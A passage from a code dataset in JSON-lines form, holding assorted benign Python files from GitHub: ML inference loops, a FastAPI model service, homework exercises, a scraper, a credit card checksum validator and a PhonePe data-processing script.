self._data_manager.get_split()\n\n        # Trust Score\n        self._trust_score = 0.0\n\n        # Start with inference\n        self.state = LoopPatch.State.inference\n\n    async def _loop(self) -> None:\n        \"\"\"\n        Asynchronous method that defines the main loop.\n        \"\"\"\n        if config.DEBUG_MSG:\n            print(\"Loop started...\")\n        while True:\n            if self.state == LoopPatch.State.training:\n                # ENTER TRAINING CALLBACK ########################################\n                if self._enter_state:\n                    self._enter_training()\n                # TRAINING FLOW ##################################################\n                if self._new_epoch:\n                    self._enter_epoch()\n                # TRAINING FLOW ##################################################\n                self._new_epoch = self._classifier.step()\n                # END TRAINING FLOW ##############################################\n\n            if self.state == LoopPatch.State.inference:\n                # ENTER INFERENCE CALLBACK #######################################\n                if self._enter_state:\n                    self._enter_inference()\n                # INFERENCE FLOW #################################################\n                while not self.__inference_queue.empty():\n                    input_data: ConvoText = await self.__inference_queue.get()\n\n                    # 0) get datapoint from data manager\n                    datapoint = self._data_manager.get_datapoint(input_data)\n\n                    # 1) get classification for input_data and update trust score\n                    if (input_data.text == \"\") or (input_data.text is None):\n                        mood = Mood.doubt\n                    else:\n                        mood = self._classifier.infer(input_data.text)\n\n                    if mood == Mood.truth:\n                        self._trust_score = min(\n                            1.0, self._trust_score + config.TRUST_MOD\n                        )\n                    elif mood == Mood.lie:\n                        self._trust_score = max(\n                            0.0, self._trust_score - config.TRUST_MOD\n                        )\n                    datapoint.mood = mood\n                    datapoint.trust = self._trust_score\n\n                    # 2) instruct generator to create response -> response\n                    # get context for generator\n                    context = self._convo_manager.get_context(mood=mood)\n                    datapoint.context = context\n\n                    # get the input string for the generator\n                    input_str = self._convo_manager.get_gen_inference_str(\n                        input_data, mood=mood, context=context\n                    )\n\n                    # generator: run inference on input string\n                    utf = self._generator.infer(input_str)\n\n                    # filter out response\n                    response = self._convo_manager.filter_response(utf)\n                    datapoint.response = response\n\n                    # create response object\n                    response_object = ConvoText(\n                        convoID=input_data.convoID,\n                        messageID=input_data.messageID,\n                        text=response,\n                        timestamp=get_timestamp(),\n                        type=ConvoText.ConvoType.response,\n                        trust=self._trust_score,\n                    )\n\n                    # make results available in the dictionary\n                    self.__results[input_data.messageID] = response_object\n\n                    # 3) add datapoint to data manager (data manager will evaluate mood)\n                    self._data_manager.add(datapoint, self._active_split)\n\n                    self.__inference_queue.task_done()\n                # END INFERENCE FLOW #############################################\n\n            if self.state == LoopPatch.State.exit:\n                # EXIT FLOW ######################################################\n                if config.DEBUG_MSG:\n                    print(\"Loop ended...\")\n                break\n                # END EXIT FLOW ##################################################\n\n    def _run_loop_in_thread(self) -> None:\n        \"\"\"\n        Runs the main loop in a separate thread using asyncio's event loop.\n        It sets a new event loop, runs the main loop in this event loop,\n        and finally closes the event loop when the main loop completes.\n        \"\"\"\n        loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(loop)\n        loop.run_until_complete(self._loop())\n        loop.close()\n\n    def start(self) -> None:\n        \"\"\"\n        Starts the thread in which the main loop runs.\n        The main loop runs in the background, separate from the main thread.\n        \"\"\"\n        self._thread.start()\n\n    def get_message(self, messageID: int) -> List[ConvoText]:\n        \"\"\"\n        Returns messages from the database.\n        \"\"\"\n        message = self._data_manager.get_message(messageID)\n        return message\n\n    async def update(self, patch: LoopPatch) -> LoopPatch:\n        \"\"\"\n        Updates the state of the main loop.\n        \"\"\"\n        self.state = patch.state\n        self._enter_state = True\n        return LoopPatch(state=self.state)\n\n    async def infer(self, input: ConvoText) -> ConvoText:\n        \"\"\"\n        Adds an input to the inference queue and waits for the result to become available.\n        - It puts the input into the inference queue.\n        - It waits for the result to become available.\n        - Once the result is available, it removes the result from the dictionary and returns it.\n        \"\"\"\n        # put the input into the queue\n        await self.__inference_queue.put(input)\n        # wait for the result to become available and return it\n        while input.messageID not in self.__results:\n            await asyncio.sleep(0.01)  # Check every 10 ms\n        # return the result and remove it from the dictionary\n        return self.__results.pop(input.messageID)\n\n    # ENTER STATE METHODS #####################################################\n    def _enter_training(self) -> None:\n        \"\"\"\n        Run every time the loop enters the training state.\n        \"\"\"\n        self._enter_state = False\n        if config.DEBUG_MSG:\n            print(\"Training started...\")\n        # save new conversations to database\n        self._data_manager.save()\n        # # reset trust score\n        # self._trust_score = 0.0\n\n    def _enter_inference(self) -> None:\n        \"\"\"\n        Run every time the loop enters the inference state.\n        \"\"\"\n        self._enter_state = False\n        if config.DEBUG_MSG:\n            print(\"Inference started...\")\n        # set the models to eval mode\n        self._classifier.prepare_inference()\n        # update the active split\n        self._active_split = self._data_manager.get_split()\n\n    def _enter_epoch(self) -> None:\n        \"\"\"\n        Run every time the loop enters the epoch state.\n        \"\"\"\n        self._new_epoch = False\n        if config.DEBUG_MSG:\n            print(\"New epoch started...\")\n        # reload the dataset\n        cls_data = self._data_manager.get_cls_data()\n        self._classifier.prepare_training(cls_data)\n","repo_name":"whatphilipcodes/inter","sub_path":"src_py/loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":8702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37483062655","text":"\"\"\"\nНапишите программу, которая принимает на вход натуральное число N и выдает список факториалов по основаниям от 1 до N\n\nВвод: значение типа <int>\nВывод: значение типа <list>\n\nПример:\n4\n[1, 2, 6, 24]\n\"\"\"\nnum = int(input(\"введите число N \"))\nmy_list = []\nf = 1\nfor i in range(1, num + 1):\n    f *= i\n    my_list.append(f)   \nprint(my_list)\n","repo_name":"AnnaNalesnaya/HW_2","sub_path":"task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7540982007","text":"#!/usr/bin/python3\n\"\"\"\ncity relationship\n\"\"\"\nimport sys\nfrom relationship_state import Base, State\nfrom relationship_city import City\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == \"__main__\":\n    engine = create_engine('mysql+mysqldb://{}:{}@localhost:3306/{}'.\n                           format(sys.argv[1], sys.argv[2], sys.argv[3]),\n                           pool_pre_ping=True)\n\n    Base.metadata.create_all(engine)\n\n    Session = sessionmaker(bind=engine)\n    session = Session()\n\n    nstate = \"California\"\n    ncity = \"San Francisco\"\n\n    newState = State(name=nstate)\n    newCity = City(name=ncity, state=newState)\n    session.add(newCity)\n    session.commit()\n    session.close()\n","repo_name":"exploitpnk/holbertonschool-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/100-relationship_states_cities.py","file_name":"100-relationship_states_cities.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"30072927727","text":"import json\nimport requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ndef getMovieData(data_url):\n    r = requests.get(data_url)\n    bs2 = BeautifulSoup(r.content, 'html.parser', from_encoding=\"utf-8\")\n    #print(bs2)\n\n    for s in bs2.findAll('script', type='application/ld+json'):\n        #print(s)\n        json_data = json.loads(s.get_text())\n        json_actors = json_data['actor']\n        actors = \"\"\n        if len(json_actors) > 0:\n            for actor in json_actors:\n                actors += actor['name'] + \",\"\n            actors = actors[:-1]\n\n\n        json_directors = json_data['director']\n        directors = \"\"\n        if type(json_directors) is list:\n            for director in json_directors:\n                directors += director['name'] + \",\"\n            directors = directors[:-1]\n        else:\n            directors = json_data['director']['name']\n\n        json_genres = json_data['genre']\n        genres = \"\"\n        if type(json_genres) is list:\n            for genre in json_genres:\n                genres += genre + \",\"\n            genres = genres[:-1]\n        else:\n            genres = json_data['genre']\n\n        print('{}; {}; {}; {}; {}; {}; {}; {};'.format(\n            json_data['name'], json_data['aggregateRating']['ratingValue'], data_url,\n            json_data['duration'][2:], genres, directors, actors,\n            json_data['description'], json_data['datePublished']))\n\n\ndef getalldata():\n    fname = 'bandalhos_movies_2018.txt'\n    with open(fname) as fp:\n        data_url = fp.readline().strip()\n        while data_url:\n            #print(data_url)\n            getMovieData(data_url)\n            #sleep(1)  # Time in seconds.\n            data_url = fp.readline().strip()\n\n\ndef main():\n    #data_url = 'https://www.imdb.com/title/tt1974419'\n    #data_url = 'https://www.imdb.com/title/tt4613272'\n    #data_url = 'https://www.imdb.com/title/tt0475290/'\n    #getMovieData(data_url)\n\n    getalldata()\n\n\nif __name__ == '__main__':\n    main()\n\n\n\n\n\n","repo_name":"hpinho77/movies_bandalhos","sub_path":"bandalhos_imdb.py","file_name":"bandalhos_imdb.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31013037003","text":"\"\"\"\nrequires py3\n\"\"\"\nimport collections\nimport itertools\nimport numpy as np\n\n\ndef inclusive_range(start, stop):\n    return tuple(list(range(start, stop)) + [stop])\n\n\nclass NeighborhoodIterator(collections.abc.Iterator):\n    \"\"\"zero padding, only tested in 3D arr\"\"\"\n    def __init__(self, arr, bounds=None):\n        if bounds is not None and len(bounds) != arr.ndim:\n            raise ValueError('must pass the same number of bouds as dimensions')\n\n        if bounds is None:\n            bounds = [(-1, 1)] * arr.ndim\n\n        self.arr = arr\n        self.bounds = bounds\n\n    def __len__(self):\n        return self.arr.size\n\n    def __iter__(self):\n        self.idx = 0\n        return self\n\n    def _get_curr(self):\n        return np.unravel_index(self.idx, self.arr.shape)\n\n    def _get_valid_idx(self, idx):\n        valid = (idx >= 0) & (idx < np.array(self.arr.shape)[:, np.newaxis])\n        return idx[:, valid.all(axis=0)]\n\n    def __next__(self):\n        try:\n            curr = self._get_curr()\n        except IndexError:\n            raise StopIteration\n\n        # get relative positions of all in window\n        window = [inclusive_range(a, b) + c for (a, b), c in zip(self.bounds, curr)]\n        idx = np.vstack(zip(*itertools.product(*window)))\n\n        # do not want index wrapping\n        idx = self._get_valid_idx(idx)\n\n        # move iterator\n        self.idx += 1\n\n        return idx.tolist()\n\n\nclass MaskedNeighborhoodIterator(NeighborhoodIterator):\n    \"\"\"arr == mask!!!\"\"\"\n    def __init__(self, arr, bounds=None):\n        super().__init__(arr, bounds=bounds)\n        self.nnz = np.argwhere(self.arr)\n\n    def _get_curr(self):\n        return self.nnz[self.idx]\n\n\ndef masked_filter(arr, mask, key=None, kind='mean', axis=0,\n                  bounds=None, filter_kwds=dict()):\n    \"\"\"our application, mask is not binary\"\"\"\n    if arr.ndim != 2:\n        raise ValueError('arr must be 2D')\n\n    if mask.ndim != 3:\n        raise ValueError('mask must be 3D')\n\n    if key is None:\n        # assume all rows in mask\n        key = np.arange(np.count_nonzero(mask))\n\n    # TODO: error handling\n    # fill indices in mask (add 1 for nonzero)\n    mask = mask.astype(np.int)\n    mask[mask.nonzero()] = key + 1\n\n    # filter function\n    func = getattr(np, kind)\n\n    result = np.zeros(arr.shape)\n    masked_iter = MaskedNeighborhoodIterator(mask, bounds=bounds, **filter_kwds)\n    for k, mask_idx in zip(key, masked_iter):\n\n        idx = mask[mask_idx]\n        idx = idx[idx.nonzero()] - 1 # we added 1\n\n        filtered = func(arr.take(idx, axis=axis), axis=axis)\n\n        if axis == 0:\n            result[k] = filtered\n        else:\n            result[:, k] = filtered\n\n    return result\n","repo_name":"AllenInstitute/mouse_connectivity_models","sub_path":"paper/figures/cortical_projection/helpers/py_neighborhood.py","file_name":"py_neighborhood.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"16"}
+{"seq_id":"10260760405","text":"class RomanNumerals:\n\n    @classmethod\n    def to_roman(self, value):\n        self.roman = ''\n        if value >= 1000:\n            (div, value) = divmod(value, 1000)\n            self.roman += 'M' * div\n        if value >= 100:\n            (div, value) = divmod(value, 100)\n            if div == 9:\n                self.roman += 'CM'\n            elif div >= 5:\n                self.roman += 'D' + 'C' * (div-5)\n            elif div == 4:\n                self.roman += 'CD'\n            else:\n                self.roman += 'C' * div\n        if value >= 10:\n            (div, value) = divmod(value, 10)\n            if div == 9:\n                self.roman += 'XC'\n            elif div >= 5:\n                selfroman += 'L' + 'X' * (div-5)\n            elif div == 4:\n                self.roman += 'XL'\n            else:\n                self.roman += 'X' * div\n        if value == 9:\n            self.roman += 'IX'\n        elif value >= 5:\n            self.roman += 'V' + 'I' * (value-5)\n        elif value == 4:\n            self.roman += 'IV'\n        else:\n            self.roman += 'I' * value\n        return self.roman\n\n    @classmethod\n    def from_roman(self, string):\n        to_dict = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}\n        self.value = 0\n        lst = []\n        for word in string:\n            lst.append(to_dict[word])\n        self.value += lst[-1]\n        if len(lst) > 1:\n            for i in range(len(lst) - 2, 0, -1):\n                if lst[i] < lst[i+1]:\n                    self.value -= lst[i]\n                else:\n                    self.value += lst[i]\n            if lst[0] < lst[1]:\n                self.value -= lst[0]\n            else:\n                self.value += lst[0]\n        return self.value\n","repo_name":"lynth29/codewars","sub_path":"4kyu/roman_numerals_helper/python_sol.py","file_name":"python_sol.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26616032937","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('socialnetwork', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.RemoveField(\n            model_name='student',\n            name='notifications',\n        ),\n        migrations.AddField(\n            model_name='notification',\n            name='student',\n            field=models.ForeignKey(related_name='notifications', to='socialnetwork.Student', null=True),\n        ),\n    ]\n","repo_name":"sudevbohra/studier","sub_path":"FinalProject/socialnetwork/migrations/0002_auto_20150422_0936.py","file_name":"0002_auto_20150422_0936.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"54873186356","text":"from cs50 import get_string\nfrom sys import exit\n\n\ndef main():\n\n    # Stores the credit card number as string\n    creditNum = get_string(\"Enter your card number: \")\n\n    # Checks for a cards validity and type\n    checkValidity(creditNum)\n\n\ndef calculateSum(num):\n\n    k = 1\n    sum = 0\n    while num > 0:\n        # Last digit of the present remaining number\n        digit = num % 10\n        # To evaluate only alternate digits starting from second-to-last digit\n        if k % 2 == 0:\n\n            digit *= 2\n\n            if len(str(digit)) == 1:\n                sum += int(digit)\n\n            # If the prodcut with 2 gives a number that has more than 1 digit\n            else:\n\n                while (len(str(digit)) > 0) and (not int(digit) == 0):\n                    sum += digit % 10\n                    digit //= 10\n        else:\n            sum += digit\n\n        num //= 10\n        k += 1\n    return sum\n\n\ndef checkValidity(credit):\n\n    # Stores the number of digits present in the card number\n    numofDigits = len(credit)\n    # Checks if the length of digits is beyond a valid card number\n    if numofDigits < 13 or numofDigits > 16:\n        print(\"INVALID\")\n        exit(1)\n\n    # Calculates the checksum value based on Luhn's algorithm\n    checkSum = calculateSum(int(credit))\n    # Checks if card is syntactically vaild\n    if not checkSum % 10 == 0:\n        print(\"INVALID\")\n        exit(1)\n\n    # According to provided conditions determine card type\n    if numofDigits == 15 and credit[:2] in [\"34\", \"37\"]:\n        print(\"AMEX\")\n\n    elif numofDigits == 16 and int(credit[:2]) in range(51, 56):\n        print(\"MASTERCARD\")\n\n    elif numofDigits in [13, 16] and credit[:1] == \"4\":\n        print(\"VISA\")\n\n    else:\n        print(\"INVALID\")\n\n\nmain()\n\n","repo_name":"ankurkhetan2015/CS50-IntroToCS","sub_path":"Week6/Python/credit.py","file_name":"credit.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29322396304","text":"# 形態素解析の理論と実装\n# Section 4.4\n\n# 構築済みのダブル配列利用\n# インデックスが1から始まることを想定しているため，baseとcheckにダミーの値を最初に入れる\ncode  = {'#': 0, 'a': 1, 'b': 2, 'c': 3, 'd': 4}\nbase  = [None, 1, 5, 6, 6, -1, -3, 9, 9, -2, 13, 12, -4, -5]\ncheck = [None, 0, 1, 1, 1, 2, 3, 4, 2, 8, 4, 7, 11, 10]\n\n\ndef search(search_str):\n    result = {}\n    src = 1 # インデックスは１から開始\n\n    # １文字ずつ共通接頭辞を探していく\n    for i, c in enumerate(search_str):\n        dst = base[src] + code[c]\n        parent = check[dst]\n\n        # 親から子への遷移として正しい？\n        if src == parent:\n            src = dst # 子ノードに移動\n            dst = base[src] + code['#'] # 終端確認\n            parent = check[dst]\n            if src == parent: # 終端ノードであれば検索結果に追加\n                result[search_str[:i+1]] = -base[dst]\n\n    return result\n\n\ntest_str_list = [\n    'a',\n    'ac',\n    'b',\n    'cab',\n    'cd',\n    'aa',\n    'cb',\n    'd'\n]\n\nfor test in test_str_list:\n    result = search(test)\n    print('Search: \"{}\"'.format(test))\n    print(result)\n","repo_name":"jojonki/Taiyaki","sub_path":"test/4-3_search_double_array.py","file_name":"4-3_search_double_array.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"ja","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"5015747291","text":"from multiprocessing import Array, Process, Queue, Value\nimport numpy as np\nimport queue\nimport tensorflow.keras as keras\n\nclass MultiprocessMnistGenerator:\n    def __init__(self, batch_size=32, num_points=500, buffer_size=5, num_workers=1, threshold=50, test=False):\n        self.batch_size = batch_size\n        self.num_points = num_points\n        self.is_running = Value('b', False)\n        self.num_workers = num_workers\n        self.workers = []\n        self.digits = self.load_data(threshold, test)\n        self.batches_x = np.frombuffer(Array('f', buffer_size*batch_size*num_points*2, lock=False), dtype=np.float32) \\\n                           .reshape((buffer_size, batch_size, num_points, 2))\n        self.batches_y = np.frombuffer(Array('i', buffer_size*batch_size, lock=False), dtype=np.int32) \\\n                           .reshape((buffer_size, batch_size))\n        self.batches = (self.batches_x, self.batches_y)\n        self.ready_batches = Queue(buffer_size)\n        self.stale_batches = Queue(buffer_size)\n        \n        for i in range(buffer_size):\n            self.stale_batches.put(i)\n        \n        \n    def load_data(self, threshold, test):\n        \"\"\"\n        Loads information into shared memory\n        \"\"\"\n        # Load MNIST\n        training, testing = keras.datasets.mnist.load_data()\n        x, y = testing if test else training\n        \n        # Extract valid pixels for points\n        img_ids, y_pixels, x_pixels = np.nonzero(x > threshold)\n        \n        # Create shared pixel array\n        pixel_shared_arr = Array('f', 2*len(img_ids), lock=False)\n        pixels = np.frombuffer(pixel_shared_arr, dtype=np.float32).reshape((-1, 2))\n        pixels[:] = np.column_stack((x_pixels, 28 - y_pixels))\n        \n        # Standardize the pixels\n        mean = np.mean(pixels, axis=0)\n        std = np.std(pixels, axis=0)\n        pixels[:] = (pixels - mean) / std\n        \n        indices = np.frombuffer(Array('i', len(x), lock=False), dtype=np.int32)\n        indices[:], pixel_counts = np.unique(img_ids, return_counts=True)\n        pixel_offsets = np.concatenate([[0], np.cumsum(pixel_counts)])\n        \n        return indices, pixels, pixel_offsets, std, y\n        \n    def start(self):\n        if self.is_running.value:\n            raise Exception(\"Workers are already running\")\n        args = (self.is_running, self.batches, self.stale_batches, self.ready_batches, self.digits, self.batch_size, self.num_points)\n        self.is_running.value = True\n        for _ in range(self.num_workers):\n            worker = Process(target=MultiprocessMnistGenerator.worker, args=args)\n            worker.start()\n            self.workers.append(worker)\n        \n    def stop(self):\n        if not self.is_running.value:\n            raise Exception(\"Workers are already stopped\")\n        self.is_running.value = False\n        for worker in self.workers:\n            worker.join()\n        self.workers = []\n            \n    def terminate(self):\n        self.is_running.value = False\n        for worker in self.workers:\n            worker.terminate()\n        self.workers = []\n        \n    def generator(self):\n        while True:\n            yield next(self)\n        \n    def __next__(self):\n        batch_id = self.ready_batches.get()\n        self.stale_batches.put(batch_id)\n        return self.batches_x[batch_id], self.batches_y[batch_id]\n        \n    @staticmethod\n    def generate_batch(batches, batch_id, digits, batch_size, num_points):\n        batches_x, batches_y = batches\n        x, y = batches_x[batch_id], batches_y[batch_id]\n        \n        indices, pixels, offsets, std, labels = digits\n        indices = np.random.choice(indices, size=batch_size, replace=False)\n        y[:] = labels[indices]\n        \n        for i, digit in enumerate(indices):\n            px = pixels[offsets[digit]:offsets[digit+1]]\n            x[i] = px[np.random.randint(0, len(px), size=num_points)]\n            x[i] += np.random.uniform(0.0, 1/std, size=x[i].shape)\n            \n    @staticmethod\n    def worker(is_running, batches, stale_batches, ready_batches, digits, batch_size, num_points):\n        while is_running.value:\n            try:\n                batch_id = stale_batches.get(timeout=1.0)\n                MultiprocessMnistGenerator.generate_batch(batches, batch_id, digits, batch_size, num_points)\n                ready_batches.put(batch_id)\n            except queue.Empty:\n                continue\n            except KeyboardInterrupt:\n                continue","repo_name":"DLii-Research/tf-gast","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2769632079","text":"import json\nimport logging\nimport uuid\nfrom typing import List\n\nimport pandas as pd\nfrom fastapi import FastAPI\nfrom fastapi.encoders import jsonable_encoder\nfrom mlflow.pyfunc import load_model\n\nfrom app.core.models.employee_attrition_record import EmployeeAttritionRecord\n\n# Define global variables\nSERVICE_NAME = \"Employee Attrition API\"\nMODEL_ARTIFACT_PATH = \"./employee_attrition_model\"\n\n# Initialize the FastAPI app\napp = FastAPI(title=SERVICE_NAME, docs_url=\"/\")\n\n# Configure logger\nlog = logging.getLogger(\"uvicorn\")\nlog.setLevel(logging.INFO)\n\n\n@app.on_event(\"startup\")\nasync def startup_load_model():\n    \"\"\"\n    A startup event handler to load an MLFLow model.\n    \"\"\"\n    global MODEL\n    MODEL = load_model(MODEL_ARTIFACT_PATH)\n\n\n@app.post(\"/predict\")\nasync def predict(data: List[EmployeeAttritionRecord]):\n    \"\"\"\n    An inference API to generate predictions and monitoring results.\n\n    Parameters:\n        request (List[Record]): Web service request containing inference data.\n\n    Returns:\n        response_payload (str): JSON string containing model predictions\n        and drift / outlier results for monitoring.\n    \"\"\"\n\n    # Parse data\n    input_df = pd.DataFrame(jsonable_encoder(data))\n\n    # Define UUID for the request\n    request_id = uuid.uuid4().hex\n\n    # Log input data\n    log.info(json.dumps({\n        \"service_name\": SERVICE_NAME,\n        \"type\": \"InputData\",\n        \"request_id\": request_id,\n        \"data\": input_df.to_json(orient='records'),\n    }))\n\n    # Make predictions and log\n    model_output = MODEL.predict(input_df)\n\n    # Log output data\n    log.info(json.dumps({\n        \"service_name\": SERVICE_NAME,\n        \"type\": \"OutputData\",\n        \"request_id\": request_id,\n        \"data\": model_output\n    }))\n\n    # Make response payload\n    response_payload = jsonable_encoder(model_output)\n\n    return response_payload\n","repo_name":"nfmoore/databricks-kubernetes-online-inference-poc","sub_path":"service/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"16"}
+{"seq_id":"7266373264","text":"# Importing libraries required\r\nimport os\r\nimport git\r\nimport json\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom geopy.geocoders import Nominatim\r\n\r\n\r\n#defining paths for clonned dir\r\nrepo_path = \"D:/Guvi/Projects/PhonePe/pulse\"\r\nrepo_path_state_trans = repo_path+\"/data/aggregated/transaction/country/india/state\"\r\nrepo_path_state_user = repo_path+\"/data/aggregated/user/country/india/state\"\r\nrepo_path_map_state_trans = repo_path+\"/data/map/transaction/hover/country/india/state\"\r\nrepo_path_map_state_user = repo_path+\"/data/map/user/hover/country/india/state\"\r\nrepo_path_top_state_trans = repo_path+\"/data/top/transaction/country/india/state\"\r\nrepo_path_top_state_user = repo_path+\"/data/top/user/country/india/state\"\r\nstate_district_path = \"D:/Guvi/Projects/PhonePe\"\r\n\r\n\r\n\r\n# Defining constant\r\nall_csv_names = [\r\n                    \"state_trans_data\",\r\n                    \"state_user_data\",\r\n                    \"state_map_trans_data\",\r\n                    \"state_map_user_data\",\r\n                    \"top_state_trans_data\",\r\n                    \"top_state_user_data\",\r\n                    \"top_state_user_pin_data\",\r\n                    \"top_state_trans_pin_data\",\r\n                    \"all_state_lat_long_data\"\r\n                ]\r\n\r\nall_csv_names_lat = [\r\n                    \"state_map_trans_data\",\r\n                    \"state_map_user_data\",\r\n                    \"top_state_trans_data\",\r\n                    \"top_state_user_data\"\r\n                ]\r\n\r\n\r\nstate_groups = {\r\n                    'Northern Region': ['Jammu and Kashmir', 'Himachal Pradesh', 'Punjab', 'Chandigarh', 'Uttarakhand', 'Ladakh',\r\n                                        'Delhi', 'Haryana'],\r\n                    'Central Region': ['Uttar Pradesh', 'Madhya Pradesh', 'Chhattisgarh'],\r\n                    'Western Region': ['Rajasthan', 'Gujarat', 'Dadra and Nagar Haveli and Daman and Diu', 'Maharashtra'],\r\n                    'Eastern Region': ['Bihar', 'Jharkhand', 'Odisha', 'West Bengal', 'Sikkim'],\r\n                    'Southern Region': ['Andhra Pradesh', 'Telangana', 'Karnataka', 'Kerala', 'Tamil Nadu', 'Puducherry', 'Goa',\r\n                                        'Lakshadweep', 'Andaman and Nicobar Islands'],\r\n                    'North-Eastern Region': ['Assam', 'Meghalaya', 'Manipur', 'Nagaland', 'Tripura', 'Arunachal Pradesh', 'Mizoram']\r\n                }\r\n# all_csv_names = [\"uniq_state\"]\r\n# geolocator = Nominatim(user_agent=\"gitCloneOrPull\")\r\n\r\n# Clone the git repository and if present pull request for the same repository\r\ndef get_git_clone_pull(repo_path):\r\n    if os.path.isdir(os.path.join(repo_path, \".git\")):\r\n        # Repository data already exists, so pull changes\r\n        repo = git.Repo(repo_path)\r\n        origin = repo.remote(name=\"origin\")\r\n        origin.pull()\r\n    else:\r\n        # Repository data does not exist, so clone the repository\r\n        try:\r\n            git.Repo.clone_from(\"https://github.com/PhonePe/pulse.git\", repo_path)\r\n            repo = git.Repo(repo_path)\r\n        except git.exc.GitCommandError as e:\r\n            print(\"Error: \", e)\r\n    # Removing unwanted files\r\n    repo_path_readme = repo_path+\"/\"+\"README.md\"\r\n    print(repo_path_readme)\r\n    os.remove(repo_path_readme)\r\n    # Renaming directories\r\n    directory = os.path.join(repo_path, 'data')\r\n    for root, dirs, files in os.walk(directory):\r\n        if 'state' in dirs:\r\n            state_dir = os.path.join(root, 'state')\r\n            for state_folder in os.listdir(state_dir):\r\n                # rename the state folder\r\n                old_path = os.path.join(state_dir, state_folder)\r\n                new_path = os.path.join(state_dir, state_folder.title().replace('-', ' ').replace('&', 'and'))\r\n                os.rename(old_path, new_path)\r\n    print(\"Renamed all sub-directories successfully\")\r\n\r\n# Getting the aggregate state transactions files from clonned directories\r\ndef get_state_trans_df():\r\n    agg_trans_dict = {\r\n                        'State':[],\r\n                        'Year':[],\r\n                        'Quarter':[],\r\n                        'Transaction_type':[],\r\n                        'Transaction_count':[],\r\n                        'Transaction_amount':[]\r\n                    }\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_state_trans)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        agg_trans_st_path = repo_path_state_trans+\"/\"+states\r\n        st_year = os.listdir(agg_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = agg_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                \r\n                for elem in data['data']['transactionData']:\r\n                                Name = elem['name']\r\n                                count = elem['paymentInstruments'][0]['count']\r\n                                amount = elem['paymentInstruments'][0]['amount']\r\n                                agg_trans_dict['Transaction_type'].append(Name)\r\n                                agg_trans_dict['Transaction_count'].append(count)\r\n                                agg_trans_dict['Transaction_amount'].append(amount)\r\n                                agg_trans_dict['State'].append(states)\r\n                                agg_trans_dict['Year'].append(year)\r\n                                agg_trans_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n    agg_trans_state_df = pd.DataFrame(agg_trans_dict)\r\n    agg_trans_state_df.insert(\r\n                                0,\r\n                                'Region', agg_trans_state_df['State']\r\n                                .map({state: region for region, states in state_groups.items() for state in states})\r\n                            )\r\n    \r\n    \r\n    return agg_trans_state_df\r\n\r\n\r\ndef get_state_user_df():\r\n    agg_user_dict = {\r\n                        'State': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Brand': [],\r\n                        'Brand_count': [],\r\n                        'Brand_percentage': []\r\n                    }\r\n    \r\n    agg_user_st_names = os.listdir(repo_path_state_user)\r\n    for states in agg_user_st_names:\r\n        agg_user_st_path = repo_path_state_user+\"/\"+states\r\n        st_year = os.listdir(agg_user_st_path)\r\n        for year in st_year:\r\n            agg_user_st_year_path = agg_user_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_user_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_user_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                try:\r\n                    for elem in data['data']['usersByDevice']:\r\n                        brand = elem['brand']\r\n                        count = elem['count']\r\n                        percentage = elem['percentage']\r\n\r\n                        agg_user_dict['Brand'].append(brand)\r\n                        agg_user_dict['Brand_count'].append(count)\r\n                        agg_user_dict['Brand_percentage'].append(percentage)\r\n                        agg_user_dict['State'].append(states)\r\n                        agg_user_dict['Year'].append(year)\r\n                        agg_user_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except:\r\n                    pass\r\n    agg_user_state_df = 